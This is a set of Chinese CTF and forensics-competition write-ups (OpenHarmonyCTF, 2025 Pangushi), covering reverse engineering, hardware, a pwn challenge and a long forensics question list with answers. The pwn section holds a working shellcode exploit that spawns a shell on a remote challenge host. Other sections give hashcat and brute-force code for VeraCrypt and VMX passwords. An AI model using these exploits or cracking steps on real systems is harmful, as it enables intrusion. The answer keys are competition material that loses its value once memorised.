初始化API hook后，拦截掉原本的C库函数，使用自己的函数进行校验
在下面的TLS回调分支进行了两个经典反调试检测如果检测到调试器存在直接破坏程序内存而崩溃，所以我们找到的函数实际上就是自定义的strncmp函数，其中是真的flag逻辑

1
2
3


encode=[0x4e, 0x4c, 0x46, 0x40, 0x57, 0x45, 0x58, 0x7a, 0x13, 0x56, 0x7c, 0x73, 0x17, 0x50, 0x50, 0x66, 0x47, 0x2, 0x2, 0x5e]
for i in range(len(encode)):
 print(chr(encode[i]^0x23),end='')

rusty_sudoku

main函数非常的长，我们先运行程序看看

可以看出输入的格式要求为9*9，也就是81个字符（sudoku是数读啊…）

这里给出了范式

刚好是91个字符，也就是说我们要按照这里来填写数独

也就是这样，在网站进行快速解题（你也可以自己来）

如图得到答案
369184572185327694274956831632879415897541263541632789756213948918465327423798156

看起来是md5的flag(

OpenHarmonyCTF wp-Nan0in

Sat, 07 Jun 2025 18:33:00 +0000

Hardware

uart-mystery

一台 Harmony 守护主机正在广播神秘信息，公开频道中你能听到一段不断重复的系统广播，但真正的秘密，却藏在信号之下的“细语”之中。
“有些声音并不是为所有耳朵准备的。”
你获得了一段捕捉到的串口通信记录（配合逻辑分析仪或串口数据流）。打开监听工具，分析信号，在那些杂音间，找出唯一属于你的那个节奏。只有调准频率，才能听懂隐藏在电流中的低语。
注：建议使用串口分析工具（如 Logic, Saleae, minicom, pyserial 等）观察和尝试不同通信参数。

给了.sal文件，搜索后发现saleae logic可以用于分析串口数据，记录逻辑信息，所以将.sal拖入，然后导入Analyser，由于有meta.json，配置就有了

找到flag
flag{w3c10me::openharmony::init}

A Mysterious Card

010editor bad misc，脑筋急转弯，打开.nfc文件可以看到相关联的信息，Mifare Classic型号，对下面的十六进制010editor看一下就有

上下两端根据前半段提示的 structure_of_mifare_card进行筛选拼接，去掉block的标识行（rv.. ）后拼接即可
flag{enma5t3r1ng_s7ruc7ur3_0f_m1far3_card_pXLFOtFJuiKCkbPhNPzV}

reverse

easyre

用abc-decompiler反编译 flag由hint1与magic组成，在obj3中有，动态
两部分分别用了不同的算法
magic使用了base64算法的解密然后进行字符串反转
hint1则使用了自定义加减反转字符串运算

hint1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


def transform_hint(original_hint):

 step1 = ''.join([chr(ord(c) + len(original_hint)) for c in original_hint])

 step2 = step1[::-1]

 step3 = ''.join([chr(ord(step2[i]) - i) for i in range(len(step2))])

 transformed = step3[::-1]

 return transformed

def main():
 original_hint = "tlfr`llakodZVS^RaWQSP"

 transformed_hint = transform_hint(original_hint)
 print(f"decoded hint: {transformed_hint}")

if __name__ == "__main__":
 main()

然后拼接一下即可

Pwn

minishell

跑QEMU我在arch /mnt下专门放了挂载用盘，然后sudo mount ./userdata.img /mnt/disk_nan0in 就搞定了

ida里可以看到调用cat的时候可以输shellcode（或者你跑起来以后指令一个个尝试一下）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


from pwn import *
filename = './pwn'
# libc = './libc.so.6'
context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("61.147.171.107", 42110)
# gdb.attach(io)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
 return u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))


sl("cat")
payload = asm("""
 mov rsi,rdi
 xor rdi,rdi
 mov rdx,0x100
 xor rax,rax
 syscall
 """)
print(payload)
sl(payload)

log.success(VIO_TEXT("read second shellcode"))

payload = b'\xEB\x00'*0x10+asm("""
 mov rsp,0x100000000
 add rsp,0x800
 """)+asm(shellcraft.sh())
sl(payload)

io.interactive()

2025盘古石wp（部分）

Thu, 08 May 2025 23:56:00 +0000

前言

2DRAYS本次比赛位于总排名269，惨败而归，该wp也只是个人学习整理用，急需沉淀，拒绝眼高手低感谢两位队友T0fv404 和Skipshot 的参与

每个队创建自己的wp文档，最后整理为word文件

标记为*的题目是未解出答案或者答案不确定的

贴一个爬题目的脚本

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


import requests
import json

# 要手动改的地方
list_url = "http://47.107.51.216/api/ctf/v3/competition-forensics/96/category/paper/list"
question_url = "http://47.107.51.216/api/ctf/v3/competition-forensics/96/%d/questions"
cookies = {
 "acw_tc": "0adc26de17468908528362887e439c61c3aba6084e3ac3923e091063d69315",
 "SESSION": "MDNlNDBmNDctNGE5Ni00ZmFkLWJkMzctZWRkMzRmYmEzOTFh"
}

# 获取题目分类
res = requests.get(list_url, cookies=cookies)
list_info = res.json()["data"]

# 爬取各分类题目
f = open("question.txt", "w")

for theme in list_info:
 # 分类标题
 f.write(theme["name"]+"\n")

 # 爬取题目
 url = question_url % theme["id"]
 res = requests.get(url, cookies=cookies)
 questions = res.json()["data"]

 cnt = 1

 for question in questions:
 # tmp = "%s (%d分)\n"
 tmp = "%d、%s (%d分)\n"
 # f.write(tmp % (question["id"], question["name"], question["score"]))
 f.write(tmp % (cnt, question["name"].split("\r\n")[0], question["score"]))
 cnt += 1

 f.write("\n")

注意VR游戏中衣柜中存在密室，进入以后拿到关键信息条

案件详情

赛后才放了出来…

月光穿过百叶窗，在书房地板上投下斑驳光影。钟无声站在智能锁前，手指轻触屏幕，几行代码在掌中屏闪过，门锁悄然开启。
他环视书房，檀木书架堆满文件夹，落地台灯将影子拉得老长。拉开抽屉时，玉兰香从窗台飘入，混合着线香余韵。钟无声翻动文件，指尖划过烫金账本时，书房门轴发出轻微响动。
贾韦码站在门口，手中还攥着车钥匙。钟无声合上账本的动作很慢，窗外巡逻车的灯光扫过波斯地毯。当喉结在贾韦码颈间滑动时，玉兰花瓣正落在血渍边缘。
书房恢复寂静，落地灯将钟无声的影子投在紧闭的智能锁上，像一幅静止的画。

在诈骗团伙中，贾韦码和钟无声是两个核心人物。贾韦码因违反保密协议，被钟无声盯上了。一天深夜，钟无声利用智能锁的漏洞，悄无声息地潜入贾韦码家中。他四处搜寻账本，但一无所获。就在他准备离开时，贾韦码回来了。钟无声一把抓住他，逼问账本的下落。贾韦码惊恐万分，最终在威胁下说出了藏匿之处。钟无声拿到账本后，为了灭口，残忍地杀害了贾韦码。随后，他带着账本消失在夜色中，留下一个血腥的现场

vr密码：9f8L2kP7mQv3RzX1tB5n6yH4CwJp9TqEa2rF1xSbD0LcKjZ

检材密码：01tn0GdE0]BF00pT0T&f00&u0k-q0Up41UhA00N,0\-L0kRr0j-p0T&R1F&=0\Ni1GR]

题目和分数

点击展开

手机取证 Mobile Forensics
1、分析安卓手机检材，手机的IMSI是？[答案格式：660336842291717] (1分)
2、养鱼诈骗投资1000，五天后收益是？[答案格式：123] (1分)
3、分析苹果手机检材，手机的IDFA是？[答案格式：E377D1D7-BA02-4A79-BB9A-5C2DE5BD1F17] (2分)
4、Telegram应用的卸载时间是？[答案格式：2023-01-22-17:37:50] (2分)
5、机主hotmail邮箱地址是？[答案格式：123345@hotmail.com] (2分)
6、苹果电脑开机密码是？[答案格式：12345] (4分)
7、Telegram加密通讯中，加密聊天信息用到的第二个解密载体是？[答案格式：123.zip] (4分)
8、贾韦码的内部代号是？[答案格式：77] (5分)
9、特快专递的收货地址是？[标准格式：老牛市快速路11号ADE公司] (5分)

APK取证 APK Forensics
1、分析安卓检材，远控工具包名是？[标准格式：com.app.cpp] (2分)
2、远控工具中继服务器IP是？[标准格式：192.168.11.11] (2分)
3、远控工具ID服务器端口是？[标准格式：8088] (2分)
4、远控工具中继服务器Key是？[标准格式：HoTwGxUuV9OxSSEWRFsr1DVxQBkbbFRe0ImYMTlzyec=] (2分)
5、远控工具中收藏的远程ID是？[标准格式：123456] (2分)
6、远程控制该手机的手机型号是？[标准格式：huawei-Hot] (2分)
7、监听工具包名是？[标准格式：com.app.cpp] (2分)
8、监听工具代码主入口是？[标准格式：com.app.cpp.MainActidddy] (2分)
9、监听工具的签名算法是？[标准格式：AES123RSA ] (1分)
10、监听工具运行多少秒后会跳转成黑色幕布？[标准格式：3.000] (3分)
11、监听工具运行后，黑色幕布上字符串是？[标准格式：aes取证平台] (4分)
12、监听工具检测到多少分贝开始录音？[标准格式：30] (4分)
13、监听工具录音连续几秒没有检测到声音停止录音？[标准格式：3] (4分)
14、监听工具保存文件存储路径的数据库名称是？[标准格式：sqlite.db] (2分)
15、监听工具保存录像文件的文件夹是？[标准格式：file] (4分)
16、监听工具数据库中保存音视频文件的路径使用什么加密？[标准格式：Rsa] (5分)
17、录音的文件采用什么加密方式？[标准格式：RC4-123] (5分)
18、录像文件加密秘钥的最后一位是？[标准格式：0x6A] (5分)
19、原始文件md5为3b4d****55ae的创建时间是？[标准格式：2024-2-14-16:32:8] (5分)

计算机取证 Computer Forensics
1、分析贾韦码计算机检材，计算机系统Build版本为？【标准格式：19000】 (1分)
2、计算机最后一次正常关机的时间为？UTC +0【标准格式：2025-05-06 09:00:00】 (1分)
3、计算机网卡的MAC地址为？【标准格式：00-0B-00-A0-00-00】 (1分)
4、计算机用户“贾韦码” 安全标识符SID为？【标准格式：S-X-X-X-X-X-X-X】 (1分)
5、计算机默认浏览器为？【标准格式：Mozilla Firefox】 (1分)
6、计算机默认浏览器版本为？【标准格式：000.0.0000.00】 (1分)
7、机主通过浏览器搜索国外社交软件为？【标准格式：Whatsapp】 (1分)
8、机主的邮箱账号为？【标准格式：pgscup@pgs.com】 (3分)
9、计算机装过一款反取证软件为？【标准格式：EnCrypt.exe】 (1分)
10、计算机通过Xshell远程连接的ip地址为？【标准格式：127.0.0.1】 (1分)
11、机主曾买过一个美国的TG账号，请给该账号的原两步验证密码？【标准格式：8位数字】 (2分)
12、给出其电脑内加密容器的解密密码？【标准格式：Abc@123】 (5分)
13、给出其电脑内加密容器挂载的盘符？【标准格式：C】 (3分)
14、给出其电脑内存放了多少张伪造身份证？【标准格式：10】 (4分)
15、找出任敏的身份证编号？【标准格式：18位】 (4分)
16、找出其电脑内存放的密钥文件，计算其MD5? 【标准格式：字母小写】 (5分)
17、找出其电脑内存放的密钥文件，解密此密钥文件，给出其内容？【标准格式：第3届pgscup】 (5分)
18、对macOS系统进行解析，登陆的电子邮件服务是谁提供的？【标准格式:pgscup】 (1分)
19、系统备忘录的包名是什么？【标准格式:com.dfefef.note】 (2分)
20、图片中隐藏的内容是什么？【标准格式：隐藏内容厨子戏子痞子】 (4分)
21、被加密文件的扩展名是什么？【标准格式：123】 (1分)
22、被加密的文件总共有几个？【标准格式：5】 (5分)
23、贾韦码家使用的智能门锁品牌型号是什么？【标准格式：小米X号】 What is the brand and model of the smart lock used in Jia Wei Ma(贾韦码)’s home? [Answer example: 小米X号] (5分)

EXE取证 PE Binary Forensics
1、分析Windows木马，其控制端ip是？[标准格式：192.168.1.11] (2分)
2、软件会复制自身到哪个文件夹下？[标准格式：DaTa] (2分)
3、接上题，复制后软件名称是？[标准格式：AppTmp.exe] (3分)
4、软件一共可以窃取多少种浏览器的信息？[标准格式：3] (4分)
5、软件查询安装的杀毒软件出错或异常会返回什么字符串？[标准格式：Apps] (3分)

苹果应用取证 macOS Apps Forensics
1、对mac电脑中的加密程序进行分析，使用了一个特定的数作为密钥生成的种子，请问这个数是什么？【标准格式：1234】 (4分)
2、分析文件头部元素并确定它们的正确顺序。将字段名称按顺序连接并提交？【标准格式：字段1_字段2_字段3… 】 (5分)
3、密钥派生过程中使用了几个算法步骤。其中一个函数使用了与其实际功能不符的名称。找出这个函数名并提交？【标准格式：函数名】 (5分 )
4、程序中实现了一个故意减慢加密过程的机制，延迟值是多少？【标准格式：1.1】 (5分)
5、程序中隐藏了一个版本标识符，请找出版本号？【标准格式：v1.1.1】 (5分)

服务器取证 Server Forensics
1、分析服务器检材，找出服务器系统启动盘的GUID？【标准格式: 数字、字母、-的组合，字母大写】 (1分)
2、找出服务器网关IP？【标准格式:1.1.1.1】 (1分)
3、找出服务器数据盘的文件系统格式？【标准格式:ntfs】 (1分)
4、找出服务器数据盘的解密密钥文件名？【标准格式:abcd】 (1分)
5、找出服务器密码？【标准格式：key@123】 (3分)
6、找出服务器版本号？【标准格式：0.0.0】 (1分)
7、找出服务器内Docker虚拟硬盘位置？【标准格式：/home/abc/adc.raw】 (2分)
8、找出服务器启动盘的启动标识？【标准格式：D100，写出型号即可】 (3分)
9、找出服务器内共有多少个容器镜像？【标准格式：10】 (2分)
10、找出服务器内网站服务器所用数据库运行的容器名？【标准格式：abc-abc-1】 (3分)
11、找出服务器内虚拟币容器对外暴露的端口号？【标准格式：8000】 (3分)
12、找出投资理财网站的域名？【标准格式：3w.baidu.com】 (3分)
13、找出投资理财网站内连接数据库的密码？【标准格式：password】 (3分)
14、找出投资理财网站后台访问地址？【标准格式：http://www.baidu.com/login.html】 (4分)
15、找出投资理财网站会员等级设置存放在那个数据库表内？【标准格式：user】 (3分)
16、找出投资理财网站提现成功的金额？【标准格式：10000】 (4分)
17、找出投资理财网站内用户王欣的银行卡号？【标准格式：16位数字】 (4分)
18、找出投资理财网站用户的最低提现金额？【标准格式：10000】 (5分)
19、给出存放投资理财用户表内clock为0表示用户处于那种状态？【标准格式：核实】 (5分)
20、找出投资理财网站内通过支付宝支付充值状态为未支付的金额？【标准格式：10000】 (5分)
21、对贾韦码计算机进行分析，账本系统使用的web框架是什么？【标准格式:Django】 (2分)
22、对账本系统进行分析，账本使用的数据库版本是多少？【标准格式:1.1.1】 (1分)
23、对账本系统进行分析，使用的数据库名称是？【标准格式：test】 (2分)
24、对账本系统进行分析，用户手机号码在数据库中的加密方法是？【标准格式：xor-325-dfg】 (4分)
25、分析crypto.js中的_0x3ad7函数，找出返回加密数据的编码格式？【标准格式：ascii】 (5分)
26、分析crypto.js中的_0x3ad7函数，找出使用异常作为控制流的触发语句？【标准格式：Test:connec】 (5分)
27、分析keyManager.js中initializeKeys`函数的密钥获取优先级是什么？【标准格式：我是谁>我是谁>我是谁】 (5分) 28、对账本系统进行分析，账本记录的用户总数是多少？【标准格式：1234】 (5分)
29、对账本系统进行分析，身份证号“430014197812200986”用户的投资金额是多少？【标准格式：111111】 (5分)
30、对账本系统进行分析，姓名为明凤英的客户共有几人？【标准格式：1】 (3分)

物联网取证 IOT Forensics
1、分析冰箱，请问智能冰箱的品牌？【标准格式:xiaomi】 (2分)
2、请问智能冰箱的型号？【标准格式:MiFridge2024】 (1分)
3、请找智能冰箱的uuid？【标准格式：34567890-12cd-efab-3456-789012cdefab】 (4分)
4、请问智能冰箱默认保存几张图片？【标准格式：1】 (5分)
5、请问冰箱中已存的第一张图片上的内容是什么？【标准格式：满城尽带黄金甲】 (4分)
6、请问冰箱中已存的第二张图片的名称是什么？【标准格式：123.jpg】 (4分)
7、请找冰箱中隐藏的内容？【标准格式：chuzixizipizi】 (5分)
8、请找出冰箱中嫌疑人图片MD5值的后六位？【标准格式：1a2b3d】 (5分)
9、请找出冰箱最后一次开门时间？【标准格式：10:11】 (5分)
10、默认图片的存储限制大小是多少？【标准格式：1KB】 (5分)
11、分析video.E01，被修改的录像md5前5位是？【标准格式：1a2b3】 (4分)

数据分析 Data Analysis
1、对贾韦码计算机检材进行解析，该诈骗集团的最高层领导者的id 和姓名？【标准格式:M000001 姓名】 (1分)
2、找出最高领导的所有下线中提现总额最高的成员ID？【标准格式:M0000001】 (4分)
3、找出从直接下线获得平均佣金最高的成员ID及其平均佣金金额？【标准格式：M0000001,123.12】 (4分)
4、找出注册时间最早的前 10% 成员中，交易次数最少的 5 位成员的 id？【标准格式：M000001,M000002,M000003,M000004,M000005】 (4分)
5、找出交易次数增长率最高的成员ID及其增长率？【标准格式：M000001,24.44% 】 (4分)
6、统计状态 ‘active’、90天无交易、历史交易额前20% 的成员数？【标准格式：111】 (5分)
7、找出有上线且直接下线最多的成员ID及下线数？【标准格式：M000001: 数量】 (5分)
8、比较最早年份Q1与Q4注册成员的总交易额，指出哪个更高及具体金额？【标准格式：Q1:123.12】 (5分)
9、找出成员地址中最常出现的省份，并计算居住在该省份的所有成员的总提现金额？【标准格式：省份,123.12】 (5分)
10、计算最高层领导者的净资金流？【标准格式：123.12】 (5分)

手机取证 Mobile Forensics

1分析安卓手机检材，手机的IMSI是？[答案格式：660336842291717] Analyze the Android phone: What is the IMSI? [Answer format: 660336842291717]

1

460036641292715

2养鱼诈骗投资1000，五天后收益是？[答案格式：123] Invest 1000 in “Fish farming” scam, what is return after 5 days? [Answer format: 123]

1

175

3分析苹果手机检材，手机的IDFA是？[答案格式：E377D1D7-BA02-4A79-BB9A-5C2DE5BD1F17] Analyze the iPhone: What is the IDFA? [Answer format: E377D1D7-BA02-4A79-BB9A-5C2DE5BD1F17]

1

E477D4C7-BD02-4979-BC9D-5C5DE7BD1F17

4Telegram应用的卸载时间是？[答案格式：2023-01-22-17:37:50] When was uninstall time of Telegram App? [Answer format: 2023-01-22-17:37:50]

1

2025-04-17-10:51:39

5机主hotmail邮箱地址是？[答案格式：123345@hotmail.com] What is the user’s Hotmail email address? [Answer format: 123345@hotmail.com]

1

hostsixer@hotmail.com

6苹果电脑开机密码是？[答案格式：12345] What is the mac’s power-on password? [Answer format: 12345]

1

12345678

在苹果手机截屏里

7Telegram加密通讯中，加密聊天信息用到的第二个解密载体是？[答案格式：123.zip] The second decryption vector used to encrypt chat messages in Telegram encrypted messaging is? [Answer format: 123.zip]

火眼里用iphone里找到的密码打开MACos加密文件进行分析

备忘录里存在蜜语规则，看一下这些文件
发现在2.mp4的47秒左右出现加密规则，结合另一部分知道这个就是第二个揭秘载体

1

2.mp4

8贾韦码的内部代号是？[答案格式：77] What is Jia Wei Ma(贾韦码)’s internal code name? [Answer format: 77]

看iphone中的telegram聊天记录

可以看到这里二人所对应的“蜜语”就是我们之前所看到的蜜语规则所指，而我们要试图通过规则对这些蜜语进行解密替换
但是良心的是，在Office文件元信息中

留下了我们所源信息，模拟聊天一下

1

48

9特快专递的收货地址是？[标准格式：老牛市快速路11号ADE公司] What is the delivery address for the express package? [Answer format: 老牛市快速路11号ADE公司]

同上题

1

西红市中山路35号PGS健身房

APK取证 APK Forensics

1分析安卓检材，远控工具包名是？[标准格式：com.app.cpp] Analyze the Android device: What is the package name of the remote control tool? [Answer format: com.app.cpp]

1

com.carriez.flutter_hbb

2远控工具中继服务器IP是？[标准格式：192.168.11.11] What is the IP of the relay server in the remote control tool? [Answer format: 192.168.11.11]

1

59.110.10.229

3远控工具ID服务器端口是？[标准格式：8088] What is the “ID server”‘s open port in the remote control tool? [Answer format: 8088]

1

21116

4远控工具中继服务器Key是？[标准格式：HoTwGxUuV9OxSSEWRFsr1DVxQBkbbFRe0ImYMTlzyec=]

1

WIUqzRq1Ocx4QNnsF26dZQijKdyd2L9OfaT55hDlQCI=

5远控工具中收藏的远程ID是？[标准格式：123456] What is the saved remote ID in the remote control tool? [Answer format: 123456]

1

1807892422

6 远程控制该手机的手机型号是？[标准格式：huawei-Hot] What is the model of the phone controlling this phone? [Answer format: huawei-Hot]

1

google-Pixel

7监听工具包名是？[标准格式：com.app.cpp] What is the package name of the eavesdropping tool? [Answer format: com.app.cpp]

1

com.example.liekai

8监听工具代码主入口是？[标准格式：com.app.cpp.MainActidddy] What is the main entry point in the eavesdropping tool’s code? [Answer format: com.app.cpp.MainActidddy]

1

com.example.liekai.MainActivity

9监听工具的签名算法是？[标准格式：AES123RSA ] What signing algorithm does the eavesdropping tool use? [Answer format: AES123RSA]

1

SHA256RSA

10监听工具运行多少秒后会跳转成黑色幕布？[标准格式：3.000]

模拟器仿真，进入软件后1s后便进入黑屏状态开始监听

1

1.000

11（复现）监听工具运行后，黑色幕布上字符串是？[标准格式：aes取证平台]

看下APK包，改ZIP解压后

发现是flutter（刚好学一下flutter)

emmm flutter就是一个Google的开发用户界面用的UI框架（IOS和Android都可以用），也就是前端，是近几年开发热潮，因为它达到了一个性能可提升的新高度

blutter使用

很多人可能没用过，所以写一下，可以跳过

首先我强烈推荐使用linux去运行，因为依赖的安装和dart环境的make非常方便，而windows就麻烦上好几个层次了
wsl中安装ubuntu的依赖后，手动下载blutter 压缩包后进行使用
注意wsl默认安装好像是g++ 11，在这种情况下运行脚本会报错，先执行一下指令进行更新到g++13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 添加官方工具链PPA
sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt update

# 安装g++-13
sudo apt install g++-13

# 设置为默认编译器
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-13 100
sudo update-alternatives --config g++ # 选择g++-13

# 验证版本
g++ --version # 应显示 13...

然后执行
python blutter.py ~/arm64-v8a ~/

这样子就成功提取了，我们进去看看

解题

进入到lib\arm64-v8a文件夹中，存在libapp.so和libflutter.so，是没有符号的用blutter 导出符号表
有一个

我们在IDA9.0里跑一下

OK符号表全有了

这里就是黑幕部分的函数了

找到center部分的obj

1

pgs比武专用

12监听工具检测到多少分贝开始录音？[标准格式：30]

一种方式是黑屏前截图

还有一种就是我们blutter已经导出后发现刚好和center项目相邻

1

70

13监听工具录音连续几秒没有检测到声音停止录音？[标准格式：3]

见上

1

4

14监听工具保存文件存储路径的数据库名称是？[标准格式：sqlite.db] What is the database name storing file paths in the eavesdropping tool? [Answer format: sqlite.db]

1

recordings.db

15监听工具保存录像文件的文件夹是？[标准格式：file]

1

recording

16监听工具数据库中保存音视频文件的路径使用什么加密？[标准格式：Rsa]

找path符号表提出来了也不好找，有点抽象

1

salsa20

17录音的文件采用什么加密方式？[标准格式：RC4-123]

找file

AES点进去，欸逆向算法功底有点弱，丢给AI，分析出来128是错的。。。看Aura博客知道要去看密钥加密流

因为是32字节(256位)加密，所以是

1

AES-256

18录像文件加密秘钥的最后一位是？[标准格式：0x6A]

继续分析keybytes

注意不是最终密钥，右移一位

1

0x4D

`*`19原始文件md5为3b4d`****`55ae的创建时间是？[标准格式：2024-2-14-16:32:8]

太抽象了，解密流程虽然一样但是复现的时候我都不想做，出的不好，nopadding没想到就是挂，看Aura博客

计算机取证 Computer Forensics

1分析贾韦码计算机检材，计算机系统Build版本为？【标准格式：19000】 Analyze Jia Wei Ma(贾韦码)’s computer sample: What is the system Build number? [Answer format: 19000]

挂载后找到

1

18362

2计算机最后一次正常关机的时间为？UTC +0【标准格式：2025-05-06 09:00:00】 When was the computer last shut down normally (UTC +0)? [Answer format: 2025-05-06 09:00:00]

同一张图里

1

2025-04-18 11:20:54

3计算机网卡的MAC地址为？【标准格式：00-0B-00-A0-00-00】 What is the MAC address of the computer’s network interface card? [Answer format: 00-0B-00-A0-00-00]

1

00-0C-29-0F-69-00

4计算机用户“贾韦码” 安全标识符SID为？【标准格式：S-X-X-X-X-X-X-X】 What is the SID of user “贾韦码”? [Answer format: S-X-X-X-X-X-X-X]

1

S-1-5-21-3733482367-3411043098-2536183883-1001

5计算机默认浏览器为？【标准格式：Mozilla Firefox】 What is the default browser on the computer? [Answer example: Mozilla Firefox]

1

Google Chrome

6计算机默认浏览器版本为？【标准格式：000.0.0000.00】 What is the version of the default browser? [Answer format: 000.0.0000.00]

1

135.0.7049.96

1

Thunderbird

8机主的邮箱账号为？【标准格式：pgscup@pgs.com】 What is the owner‘s email account? [Answer format: pgscup@pgs.com]

1

tqmdavidjohnson300@gmail.com

9计算机装过一款反取证软件为？【标准格式：EnCrypt.exe】 What anti-forensic software was installed on the computer? [Answer example: EnCrypt.exe]

1

VeraCrypt.exe

10计算机通过Xshell远程连接的ip地址为？【标准格式：127.0.0.1】 What IP address did the computer connect to via Xshell? [Answer format: 127.0.0.1]

1

192.168.56.129

11机主曾买过一个美国的TG账号，请给该账号的原两步验证密码？【标准格式：8位数字】 The owner purchased an US Telegram account. Provide its original two-step verification password. [Answer format: 8 digits]

1

13770603

12给出其电脑内加密容器的解密密码？【标准格式：Abc@123】 What is the decryption password for the encrypted container on the computer. [Answer format: Abc@123]

加密容器位置，之后我们就要根据VR的得到的线索图继续分析，这里没想到怎么爆破直接寄了，用passware kit进行掩码爆破
Pgs?d?d?d?dd3j

1

Pgs8521d3j

先跑VMX的解密，pyvmx_cracker跑不出来，比赛也是在这里歇菜了。结束后复盘的时候学长介绍了另一个可以用来破解的方法
VMWAREVMX
还可以用HASTCAT掩码爆破

首先导出 VC 容器的 Hash(容器的前 512 Bytes)：dd if=.\dsf2wecasdcqwed12434 of=./vc_hash bs=512 count=1 dd从输入文件的512字节导出到vc_hash，确定块数为1
hashcat爆破：.\hashcat.exe -a 3 -w 1 -m 13721 -d 1 G:\CaseFile\PGS2025\FileOutput\vc_hash Pgs?d?d?d?dd3j

略微调整代码进行爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


from tqdm import tqdm
import os
import re
import sys
from vmwarevmx import VMwareVMX


def crackk(password):
 keysafe, data, encoding, ignore = ('encryption.keySafe = "vmware:key/list/(pair/(phrase/DkpPqX6CqJo%3d/pass2key%3dPBKDF2%2dHMAC%2dSHA%2d1%3acipher%3dXTS%2dAES%2d256%3arounds%3d10000%3asalt%3dNeamX48M2uva4DQmwFcgzw%253d%253d,HMAC%2dSHA%2d1,T3IRWN0RapYhFmkAmX%2bfaerS2OnJHGICyrCtJCT7B8Vxxy%2bxWhUaYlRIGQcS5Dpgp9yRiV9kSY1Q84bwoY3iTCdEjEYLufA7AsQ0ZcbBYdOkZhiuE%2fYIge4Cy1jE5ovHdhOc3C2ahGbdqBiDj7I5rXoW%2fjDDMg1NrTE1SCY3h1%2bGi%2bwFZceG3XijtitMu8i9Kh08kbAnYWrsW1Qr1oRb%2fstxVas%3d))"',
 'encryption.data = "3SbudpwKbvH2xy4JfDjDooFSDXljHuHhLE2dP6fPcyr5ThmAK3b6BJ5A2jaEJpwuoof+a0UID6UeJCCTKf02oFD9cEzc5tZPHdFKswtdVIlXo1jVpK1zPcq395hOApHkXKk56FVJAwIeJss5Vg21BIhfI52IQE/0AMLuMztCqd2CB4nUGqnryCnQKcWytgYtySDP8eK6gU9ITf4xP3mnXoYt+wO82EOr0+gWJj0CE3vJhuA7vgQiqjl3+YmJnNw0ogdA2JEsM6hZe65x1bwR6yKK2gqG0yxBri0w8gvfg6JCcV+sairyhsvdXNIKPnUiyIRgyOgxnrzqzujofUdurhd4QRd1m5ba/iEf9eTnd2MAUq0qM21GwCOsNYkUCvCPm3Cujw=="', 'gbk', False)
 vmx = VMwareVMX.new()

 try:
 config = vmx.decrypt(password, keysafe, data, encoding, ignore)
 except ValueError as err:
 pass

 if config is None:
 pass
 else:
 keysafe, data = None, None
 configlist = config.split('\n')
 print(config)
 print(configlist)
 print(password)
 sys.exit('111111')


for i in tqdm(range(9500, 10000)):
 passs = "Pgs"+str(i).zfill(4)+"d3j"
 crackk(passs)

这里跑出Pgs9527d3j，可以先查看vmx，那么让我们跑起来吧，veracrypt容器则是Pgs8521d3j，VMX跑起来之后有个前后端分离的CRM服务，我们npm run跑起来发现就是桌面的账本

13给出其电脑内加密容器挂载的盘符？【标准格式：C】 What drive letter is assigned to the mounted encrypted container? [Answer format: C]

1

F

14给出其电脑内存放了多少张伪造身份证？【标准格式：10】 How many forged ID cards are stored on the computer? [Answer format: 10]

在Veracypt挂载后打开找到output文件夹坑啊最后一个excel文件夹不是

1

1023

15 找出任敏的身份证编号？[标准格式：18位]

1

430529195112085460

16找出其电脑内存放的密钥文件，计算其MD5? [标准格式：字母小写]

虽然似乎存在3pgscup.rar这样的文件，但是只留下了快捷方式而没有文件存在，在x-ways forensics中通过十六进制全局搜索rar、zip文件头等，最后通过rar文件头52 61 72 21 1a 07 01 00搜索找到

复制十六进制到010中解压打开

1

1022cc083a4a5a9e2036065e2822c48e

17找出其电脑内存放的密钥文件，解密此密钥文件，给出其内容？[标准格式：第3届pgscup]

在cyberchef跑

1

zfs加密pool密钥文件

18对macOS系统进行解析，登陆的电子邮件服务是谁提供的？[标准格式:pgscup]

1

Outlook

19系统备忘录的包名是什么？[标准格式:com.dfefef.note]

1

com.apple.Notes

20图片中隐藏的内容是什么？[标准格式：隐藏内容厨子戏子痞子]

蜜语里说的3.png

red0通道

1

位移加密 正向位移操作

21被加密文件的扩展名是什么？[标准格式：123]

见苹果取证部分
解密出后在encrypt_file部分就可以找到

1

enc

22被加密的文件总共有几个？[标准格式：5]

只有一个rar加密为了enc结尾的文件

1

1

23贾韦码家使用的智能门锁品牌型号是什么？[标准格式：小米X号]

还是在苹果取证部分
我们知道加密逻辑的密钥是固定的，使用的是AES_CBC算法，根据对称加密，我们在加密文件的时候试着让他直接把密钥也输出出来

而根据加密逻辑的CBC我们知道IV就是前十六个字节，复制出来解密就可以了

手动取出后面的rar文件

找到门锁型号

1

金刚Ⅲ号

可恶啊这个py文件的加密解密功能跟ui是不匹配的！！

